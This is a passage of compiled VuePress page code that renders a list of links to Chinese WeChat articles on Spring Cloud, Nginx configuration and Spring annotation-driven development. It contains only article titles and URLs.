noreferrer"}},[e._v("冰河公开了这份4万字的SpringCloud与SpringCloudAlibaba学习笔记!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489145&idx=1&sn=aca42e8b89177c700c01064ecf0410c7&chksm=cf55a178f822286ea2725d9853f79c69c1757621cb8e974463a99c7650b6985a3014202e462d&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("SpringCloud Alibaba开篇:SpringCloud这么火,为何还要学习SpringCloud Alibaba?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489143&idx=1&sn=ee96ac3db5d2f7785dbc9ed5698e7a70&chksm=cf55a176f8222860fcb2c69e9f68e4f1ffcee6767dcb1e7dc009990468415893e11ed9e7fbde&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("系统从初期到支撑亿级流量,都经历了哪些架构上的演变?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489141&idx=1&sn=6072866b3cb1338970601f25c1b3e46b&chksm=cf55a174f822286226e54fb62f317ab451be948b77cedeb2df5c35c8e025e8265542193ae6ad&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("卧槽,被SpringBoot整合原生OpenFegin坑惨了(非SpringCloud)!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489129&idx=1&sn=b4493599559871587e3a03a630e957c3&chksm=cf55a168f822287e04d4127ca7a099ab21e92f144da67d9bda4fe4971689dd70f3f90d935fe5&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("我所经历的价值超10亿美元的直播系统架构图是什么样子的?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499964&idx=1&sn=5e44261a4066b81cb84ef8b58a6124a5&chksm=cf5677bdf821feabea938c78b53fa9d377cfe9520a4d49fd33f81e654e321f212fe02e14859c&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("实战SpringBoot 快速支持动态配置国际化"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"nginx技术"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#nginx技术"}},[e._v("#")]),e._v(" Nginx技术")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490982&idx=1&sn=a030fac171a108c148badbb627ee8f35&chksm=cf55aaa7f82223b13b5b74b784a79bc2d7ff13348647f014d717452a79a3290e87bb881bd2d7&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("记一次生产环境大面积404问题!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491149&idx=1&sn=04baa8af488a6ce39bc369a64c5109a6&chksm=cf55a94cf822205a4144f97bda5a79fefb2433c565f108f5e46bf8854284e0481c51d668d5aa&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一文带你搞懂Nginx如何配置Http、Https、WS、WSS!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489188&idx=1&sn=652e3f9f6845a0c4c3388b70308c033a&chksm=cf55a1a5f82228b376bb330c18fa9a6f6dd49548de0a2693b7239c0c7aebeda334ef122662e2&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河又一本超硬核Nginx PDF教程免费开源!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489270&idx=1&sn=8f72307402b0e1924ac7a61c3ff1d9ed&chksm=cf55a1f7f82228e1e2c2043f875aeec3f90186500e15d7dfe99776a98f9b831b617cce788969&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何获取客户端真实IP、域名、协议、端口?看这一篇就够了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489269&idx=1&sn=0943fb133c9dfe72d682316c02144901&chksm=cf55a1f4f82228e2cfa3ffe1de0c3e90e5135ed5d1946bcc81bba489979a7ea4ecae2dac4ddf&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("实现负载均衡、限流、缓存、黑白名单和灰度发布,这是最全的一篇了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489268&idx=1&sn=114d161cfc7ebab24a5936cfd35c85de&chksm=cf55a1f5f82228e3a3efe62dfc07d4b6917fdb45edd73a5a29984d02ca739ad6c0211669f346&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官竟然问我Nginx如何生成缩略图,还好我看了这篇文章!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489267&idx=1&sn=c9763c7bd1d016be466b1d19bfb194d0&chksm=cf55a1f2f82228e4d965db2f1442f92611d4cdc9522763174146fc5bfc15d5a183c5517abf57&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何封禁IP和IP段?看完这篇我会了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489266&idx=1&sn=b8d81d7872b21c3bdc2b79954afb7a92&chksm=cf55a1f3f82228e5807042b2181f61fae9bb75fdd9170ac0badc1db59e4201bfe3cfedb77d63&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何按日期分割Nginx日志?看这一篇就够了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489265&idx=1&sn=31b5d53e14577097007bca8d9f99f4a7&chksm=cf55a1f0f82228e6f7a47dbea771a4ebbc7ca628320527ee9cbf041825068cb763848f3c12bc&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何为已安装的Nginx动态添加模块?看完我懂了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489264&idx=1&sn=b4af7a03bd247e26bbb0530a152a35ed&chksm=cf55a1f1f82228e7adc38a9685b22ca02e446f718376c137499c65f9ad613698c17c81d9371a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何格式化日志并推送到远程服务器?看完原来很简单!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489262&idx=1&sn=e60506742aaefef71b55785ef9022030&chksm=cf55a1eff82228f99a9bb9eec79f91e5c2b1b08c7b0c650cb8de99262b1447fca6bc99fc3b7c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官问我Nginx如何配置WebSocket?我给他现场演示了一番!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489261&idx=1&sn=eebb6223c4f61cb2311145e081269393&chksm=cf55a1ecf82228faa0815550f3251695560ecc071569070124ea1d42fe6f46928ea8753c7bda&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何使用Nginx实现MySQL数据库的负载均衡?看完我懂了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489260&idx=1&sn=145c3ad54d74d6e4bc8eb0c1a21f5e4f&chksm=cf55a1edf82228fb7c1e14a1521873580c9754b6f19cdc7dce0ac281416df33c117da9aca9b2&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("还不会使用Nginx解决跨域问题?肝这一篇就够了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489259&idx=1&sn=8a59e21a2a0cca10a9eff8d90d5fe921&chksm=cf55a1eaf82228fcbbf316b55a358617929e2c1d3636be231f35ff9c7a7d2e9d336314fcd2a1&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("图片显示过慢,文件下载不完全,竟然是Nginx的锅!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489258&idx=1&sn=f5109bb08a3234107f633c4cb6c5ef48&chksm=cf55a1ebf82228fdc7f15c9e5ab2440a46031e2b17b911027479057dbdf0fe53232e0aeda722&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何使用Nginx搭建流媒体服务器实现直播?看完这篇我会了!!(文末有福利)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489257&idx=1&sn=0c7e9651f21e56851607fe59d0887b44&chksm=cf55a1e8f82228fe8dc6b8742eeae4fce960f5f433419dec26e78f2dd1a5f3857b8429447f0f&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("并发量太高,Nginx扛不住?这次我错怪Nginx了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489255&idx=1&sn=178b2cf03cbb9c5cf2c48c95bf69ce39&chksm=cf55a1e6f82228f026b2a886012ebb10e393a8c7b2eec51ca197ee9ec8d359f59260ced69969&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何实现Nginx的高可用负载均衡?肝了这篇我也会了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489221&idx=1&sn=dc4cbda1f5910cecb1f6209cc75a509d&chksm=cf55a1c4f82228d201589f84eb860eaa0265432edc7ae7eba113218eede8bb0c93758c4f9fa2&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何使用自签CA配置HTTPS加密反向代理访问?看了这篇我会了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489212&idx=1&sn=e6d17bfa0adc237c39f0cf56e4afdb9d&chksm=cf55a1bdf82228ab09f138a3e668cf673aad05f46b4e3a85d2f22697e9b6b5510a78074a727a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何搭建Nginx+Keepalived双机热备环境?这是最全的一篇了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489206&idx=1&sn=a77f5c7d4eb66598b3a57c9d74f348ef&chksm=cf55a1b7f82228a198342bd023dd0e7daf8d4cb71262522df40156b348e2be2803c663be920d&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:给我讲讲Nginx如何实现四层负载均衡?"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"spring注解系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#spring注解系列"}},[e._v("#")]),e._v(" Spring注解系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489310&idx=1&sn=dccb43beea0aca68c5f14fabc1a8252e&chksm=cf55a01ff8222909f6c327a3cfa882258d10bcaf3a864aa3845a4ab0334dfa304a287861fc68&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("聊聊Spring注解驱动开发那些事儿!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489309&idx=1&sn=0653cf09236644996db5209a0ab10776&chksm=cf55a01cf822290a16b13adbe46981535fc0b885f4b0e157f5fe24ceaa3547a11ed971dd1efa&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("使用@Configuration和@Bean向容器中注册组件?看这一篇就够了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489308&idx=1&sn=bc479764e33c46724614036686a1b258&chksm=cf55a01df822290be561fb22e96ba97cdea980b6838ac0a739cfced52b09b93a153e64d5857c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("使用@ComponentScan自动扫描组件并指定扫描规则"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489307&idx=1&sn=66467a37a48b8784e9f0ea76a63d2e00&chksm=cf55a01af822290c0d85dba69159822eea5a460174b513121b022979dc0779749803e309a07f&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("自定义TypeFilter指定@ComponentScan注解的过滤规则"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489306&idx=1&sn=45e9c6f14de9eeadf4153c8a0df4157f&chksm=cf55a01bf822290d73ed717b67fc0af081c4772598c113f465e2862bc2ec99605f267fd6ea16&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("使用@Scope注解设置组件的作用域"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489305&idx=1&sn=983c4e75e2ffd12d2653ab8013fac3bf&chksm=cf55a018f822290eecd1e85c5160430f702c85fc32de5a810ff04405a9de5557764f7c7d0bb3&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("不知道什么是懒加载?看这一篇就够了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489304&idx=1&sn=4186e3b0208ac40ad53a25411bf985c5&chksm=cf55a019f822290ffeda65ed64267fa6dd37b1b688e153fc040322d8b8f92209703854b15f90&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何按照条件向Spring容器中注册bean?这次我懂了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489303&idx=1&sn=b5292f66835dd95ca43eebd76201f935&chksm=cf55a016f82229004d1aa496cafcfc374eef1e8b2df795a292ef457c691592f8540147c4fd55&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("使用@Import注解给容器中快速导入一个组件"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489302&idx=1&sn=50c871b0b0e4f52a9301f7ce37708df2&chksm=cf55a017f8222901e31555a8962fe59867459cf973a36c4baac01e0441db2cedb488cb5721ff&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("在@Import注解中使用ImportSelector接口导入bean"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489301&idx=1&sn=0a4488c88458d2211786c84e53a07a21&chksm=cf55a014f822290228ec67ae39a5228e92af88f70c9f94193ac59244efa612f8397bafd5743b&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("深入理解Spring的ImportSelector接口"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489299&idx=1&sn=dc9913a3e6a35aa4fe74b88aa4820996&chksm=cf55a012f8222904f6735e7459bd405d5cd2ea449371441f6b4be23dac89d05cf2a8feb1ea0a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:如何将Service注入到Servlet中?朋友又栽了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489298&idx=1&sn=b686e50d0c27bf4e4cbd6be651613687&chksm=cf55a013f8222905f521513fce253872a9b476a008674a8b1d9b51ac09ea3a8bc5aa1d071883&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("在@Import中使用ImportBeanDefinitionRegistrar向容器中注册bean"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489297&idx=1&sn=7758415066c014d460f9b7994a26548d&chksm=cf55a010f82229064a6a85cbabb75137bbfe0ae5354a9ccbeed481a2c279e6427ca871c95415&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官让我说说:如何使用FactoryBean向Spring容器中注册bean?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489295&idx=1&sn=c5edfac2d7349b804ea9e03dae18d4cc&chksm=cf55a00ef8222918260acffdc5fdd3656d9fa532b503fe7c920140f1a9ece3fe32a665e634a7&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何使用@Bean注解指定初始化和销毁的方法?看这一篇就够了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489294&idx=1&sn=656cf69dfa8a7dc8817f93330e0cabc6&chksm=cf55a00ff8222919a17e5570bb59992f5df79116d313a21e65da52db6aaa12a1401c4c059c8d&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Spring中的InitializingBean和DisposableBean,你真的了解吗?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489292&idx=1&sn=9df66f4ce0e983301114026855d65a6b&chksm=cf55a00df822291bd250c55eb3f2e74c6c750ee0d3af001b997d676e2308c9836fdc5b2b1a58&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("你真的了解@PostConstruct注解和@PreDestroy注解吗?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489291&idx=1&sn=9f5a892a7bb5c695beda309f6873a0fa&chksm=cf55a00af822291c104db2efa426b784a097237529791edbf9d79f8a77de6f34b4848789d397&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("@PostConstruct与@PreDestroy源码的执行过程"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489290&idx=1&sn=7a2c6d0e960122871121b3339aa97eda&chksm=cf55a00bf822291d6ce498fa3254bc283b4732d0754df2a9094d5521c3a1b513acee9ae17737&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("关于BeanPostProcessor后置处理器,你了解多少?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489289&idx=1&sn=575cc9f1555bc929c8add21874a24133&chksm=cf55a008f822291e99621aa34793b2b3b598d75d224f1f96015d2c5b413875d3900f9b78abb1&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("针对bean的生命周期,我们究竟能做哪些工作?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489288&idx=1&sn=1539ba17e1be37437a33fcce6baa2c67&chksm=cf55a009f822291f6b068a2dcb7cbb3234a82f84cd29c2b1cc4f04a0ec7416bfd08b4a9c61ac&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官再问你BeanPostProcessor的执行流程,就把这篇文章甩给他!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489286&idx=1&sn=2169252c0eaa130d8f79cba49e80b060&chksm=cf55a007f8222911826eba428a77eb5a3b40624a4cd7cb5fd26021c1fabe3c9245accdcea038&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("困扰了我很久的AOP嵌套调用终于解决了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489282&idx=1&sn=07296f9b6ff2b36153f25e43a4769e0f&chksm=cf55a003f8222915e5eb75c15ccaab9e7f7f12c53a74c4ed828da90a86f6a1fc03b60969d005&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("BeanPostProcessor在Spring底层是如何使用的?看完这篇我懂了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489281&idx=1&sn=d57cc587101e3fba1f176538042cc003&chksm=cf55a000f822291634780af1a4fc831bc5875d414ceee00cd0af47a4036e4478e39bbed99bf5&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何使用@Value注解为bean的属性赋值,我们一起吊打面试官!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489236&idx=1&sn=7bc6f84c959454ac54f82f4971b4e688&chksm=cf55a1d5f82228c3d04d83ed495bd8875039b7cac1f722694dadaf3ea225de7aebb41b11cf59&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("使用@PropertySource加载配置文件,我只看这一篇!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489235&idx=1&sn=a219d46700547fa72ccd89c57cf4129f&chksm=cf55a1d2f82228c4796ec2d19138c7e3a9a5186ccc3967801ecd2481a9f18a6cf025f657bd02&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("使用@Autowired@Qualifier@Primary三大注解自动装配组件,你会了吗?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489234&idx=1&sn=0fbd5246a090de06348791d77f115810&chksm=cf55a1d3f82228c5da95c44ffc3e8b306ee1edc6f08cbe2ac223f280808745413aa935d75175&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("你还不会使用@Resource和@Inject注解?那你就out了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489229&idx=1&sn=8180a35d131c8134226d951bb43b958b&chksm=cf55a1ccf82228dabc01bbb036f89177a3f06ea7c2820c0be24ec6f1f675f79df9534dd8e9bf&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何实现方法、构造器位置的自动装配?我这样回答让面试官很满意!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489228&idx=1&sn=7aaeed8347d0af9fb2d302375c8863ad&chksm=cf55a1cdf82228db5f7b050fc6dada5b88dfd60db1103a8a101b5bb0435b0cd465e94287b00b&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何解决Spring的循环依赖问题?这道面试题助我拿到了Offer!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489226&idx=1&sn=abab63bda0f1264b030fbf7ec41d52a6&chksm=cf55a1cbf82228dd55a462100fa6bc27e6d75fd898d49a985c8c61c9503ed64c04705368bcf8&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("自定义组件如何注入Spring底层的组件?看了这篇我才真正理解了原理!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489222&idx=1&sn=127337da3ff999c8e33ca3a36034a551&chksm=cf55a1c7f82228d18bd1f5fdf387e72b31f2d60cb9a84f8474b840f6132bb02293c695e8fa75&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何实现多数据源读写分离?这是我看过最详细的一篇!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489219&idx=1&sn=fa2b821de8613178afe23e1038fb76e7&chksm=cf55a1c2f82228d4024cf2e859a30b50806ecafab99e7c46579414fcd75ecfb0942486f5f0a7&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("使用@Profile注解实现开发、测试和生产环境的配置和切换,看完这篇我彻底会了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489211&idx=1&sn=bb6010e420915ed179391de3f70b86ae&chksm=cf55a1baf82228ac8e219cf98135b97d3e71259574610884de73549a195ef480aa7882750270&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("你敢信?面试官竟然让我现场搭建一个AOP测试环境!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489210&idx=1&sn=becc26b4b2d681007bfa52ce2448eed5&chksm=cf55a1bbf82228ada0bd72aec8670bf774918b7bbaa2613baa59d77008566400a75b7d5be6a9&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("二狗子让我给他讲讲@EnableAspectJAutoProxy注解"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489209&idx=1&sn=bfb8b57184f15aa3407ed43baf76bfd1&chksm=cf55a1b8f82228ae396cb480789fe08866366e3f29f900dd23b3311e136524c311251c72308e&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("AOP核心类源码解析,这是最全的一篇了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489201&idx=1&sn=b82ac41138725d3ba1fce1b6b324fcf1&chksm=cf55a1b0f82228a654acca2742e62ceb13571215d051a22d1b9d03b9aab56523d22525a24705&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("IOC容器注解汇总,你想要的都在这儿了!!(文末可留言)"),a("OutboundLink")],1)]),e._v(" 